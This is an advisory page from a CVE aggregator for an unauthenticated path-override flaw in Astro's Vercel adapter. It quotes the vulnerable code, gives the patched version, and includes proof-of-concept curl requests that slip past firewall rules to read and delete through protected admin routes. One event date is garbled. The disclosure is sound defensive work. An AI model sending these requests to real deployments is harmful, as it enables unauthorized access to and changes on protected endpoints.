CVE-2026-33768: Astro: Unauthenticated Path Override via `x-astro-path` / `x_astro_path`

Published Mar 24, 2026
·
Updated

Summary

The @astrojs/vercel serverless entrypoint reads the x-astro-path header and xastropath query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely.

The override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking /admin/ does nothing when the request comes in as POST /api/health?xastropath=/admin/delete-user.

Affected Versions

Verified against: - Astro 5.18.1 + @astrojs/vercel 9.0.4 — GET and POST override both work. Full exploitation. - Astro 6.0.3 + @astrojs/vercel 10.0.0 — GET override works. POST/DELETE hit a duplex bug in the Request constructor (the duplex: 'half' option is required when passing a ReadableStream body — this has been an issue since Node.js 18 but is consistently enforced in the Node.js 22+ runtime that Astro 6 requires). This is not a security fix — the code explicitly passes body: request.body and intends to preserve it. Once the missing duplex option is added, all methods will be exploitable on v6 as well.

The vulnerable code path is identical across both versions.

Affected Component

- Package: @astrojs/vercel - File: packages/integrations/vercel/src/serverless/entrypoint.ts (lines 19–28) - Constants: packages/integrations/vercel/src/index.ts (lines 44–45)

Vulnerable Code

The handler blindly trusts the caller-supplied path:

typescript const realPath = request.headers.get(ASTROPATHHEADER) ?? url.searchParams.get(ASTROPATHPARAM); if (typeof realPath === 'string') { url.pathname = realPath; // no validation, no auth request = new Request(url.toString(), { method: request.method, // preserved headers: request.headers, // preserved body: request.body, // preserved }); }

What makes this worse is the inconsistency. x-astro-locals right below it is gated behind middlewareSecret, but x-astro-path gets nothing:

typescript // x-astro-locals: protected if (astroLocalsHeader) { if (middlewareSecretHeader !== middlewareSecret) { return new Response('Forbidden', { status: 403 }); } locals = JSON.parse(astroLocalsHeader); } // x-astro-path: no equivalent check (lines 19-28 above)

Conditions

1. Astro + @astrojs/vercel adapter 2. output: 'server' (SSR) 3. No src/middleware.ts defined, or middleware not using Edge mode

This is a realistic production configuration. Middleware is optional and many deployments skip it.

The x-astro-path mechanism exists for a legitimate purpose: when Edge Middleware is present, it forwards requests to a single serverless function (render) and uses this header to communicate the original path. The Edge Middleware always overwrites any client-supplied value with the correct one. But when no Edge Middleware is configured, requests hit the serverless function directly, and the override is exposed to external callers with no protection.

Proof of Concept

Setup: minimal Astro SSR project on Vercel, no middleware. Routes: /public (page), /api/health (API endpoint), /admin/secret (page), /admin/delete-user (API endpoint). Vercel Firewall blocks /admin/.

GET — page content override: bash curl "https://target.vercel.app/public?xastropath=/admin/secret" Returns: PAGEID: admin-secret

GET — API route override: bash curl "https://target.vercel.app/api/health?xastropath=/admin/delete-user" Returns: {"pageId":"admin-delete-user","message":"This is a protected admin API endpoint","method":"GET"}

Header override: bash curl -H "x-astro-path: /admin/secret" https://target.vercel.app/public Returns: PAGEID: admin-secret

Vercel Firewall bypass (GET): bash Direct access — blocked curl https://target.vercel.app/admin/secret Returns: Forbidden

Via override — Firewall sees /public, serves /admin/secret curl "https://target.vercel.app/public?xastropath=/admin/secret" Returns: PAGEID: admin-secret

Vercel Firewall bypass (POST) — verified on Astro 5.x: bash Direct access — blocked curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \ https://target.vercel.app/admin/delete-user Returns: Forbidden

Via override — Firewall sees /api/health, executes POST /admin/delete-user curl -X POST -H "Content-Type: application/json" -d '{"userId":"123"}' \ "https://target.vercel.app/api/health?xastropath=/admin/delete-user" Returns: {"action":"delete-user","status":"deleted","method":"POST"}

The Firewall evaluates the original path. The serverless function serves the overridden path. Method and body carry over.

ISR is not affected. Vercel's cache layer appears to intercept before the function runs.

Impact

Firewall/WAF bypass — read (Critical): Any path-based restriction in Vercel Dashboard or vercel.json (IP blocks, geo restrictions, rate limits scoped to specific paths) can be bypassed for GET requests. Protected page content and API responses are fully readable.

Firewall/WAF bypass — write (Critical): POST/PUT/DELETE requests also bypass Firewall rules. The method and body are preserved through the override, so any write endpoint behind path-based restrictions is reachable. Verified on Astro 5.x; on 6.x this is blocked by an unrelated duplex bug in the Request constructor, not by any security check.

Audit log mismatch (Medium): Vercel logs record the original request path and query string (e.g. /public?xastropath=/admin/secret), so the override parameter is technically visible. However, the logged path (/public) does not reflect the path actually served (/admin/secret). Detecting this attack from logs requires knowing what xastropath means — standard monitoring and alerting based on request paths will not catch it.

Prior Art

CVE-2025-29927 (Next.js): x-middleware-subrequest header injectable by external clients, bypassing middleware. Same class of vulnerability.

Other sources

Astro is a web framework. Prior to version 10.0.2, the @astrojs/vercel serverless entrypoint reads the x-astro-path header and xastropath query parameter to rewrite the internal request path, with no authentication whatsoever. On deployments without Edge Middleware, this lets anyone bypass Vercel's platform-level path restrictions entirely. The override preserves the original HTTP method and body, so this isn't limited to GET. POST, PUT, DELETE all land on the rewritten path. A Firewall rule blocking /admin/ does nothing when the request comes in as POST /api/health?xastropath=/admin/delete-user. This issue has been patched in version 10.0.2.

MITRE

Affected Software

3 affected componentsFixes available
npm/@astrojs/vercel<10.0.2
astro \@astrojs\/vercel<10.0.2
npm/@astrojs/vercel<10.0.2
10.0.2

Event History

Mar 24, 2026
CVE Published
via MITRE·06:40 PM
Data Sourced
via MITRE·06:40 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Mar 26, 2026
Advisory Published
via GitHub·06:41 PM
Data Sourced
via GitHub·06:41 PM
DescriptionSeverityWeaknessAffected Software
Jun 18, 58205
Event
via FIRST·07:24 PM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33768?

CVE-2026-33768 is considered a high severity vulnerability due to the potential for unauthenticated path manipulation.

2

How do I fix CVE-2026-33768?

To fix CVE-2026-33768, upgrade to version 10.0.2 or later of the @astrojs/vercel package.

3

What version of Astro is affected by CVE-2026-33768?

Versions prior to 10.0.2 of the @astrojs/vercel package are affected by CVE-2026-33768.

4

What impact does CVE-2026-33768 have on my web application?

CVE-2026-33768 allows attackers to manipulate request paths without authentication, potentially leading to unauthorized access or data exposure.

5

Is CVE-2026-33768 related to serverless architecture?

Yes, CVE-2026-33768 specifically affects the serverless entrypoint in the Astro framework.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203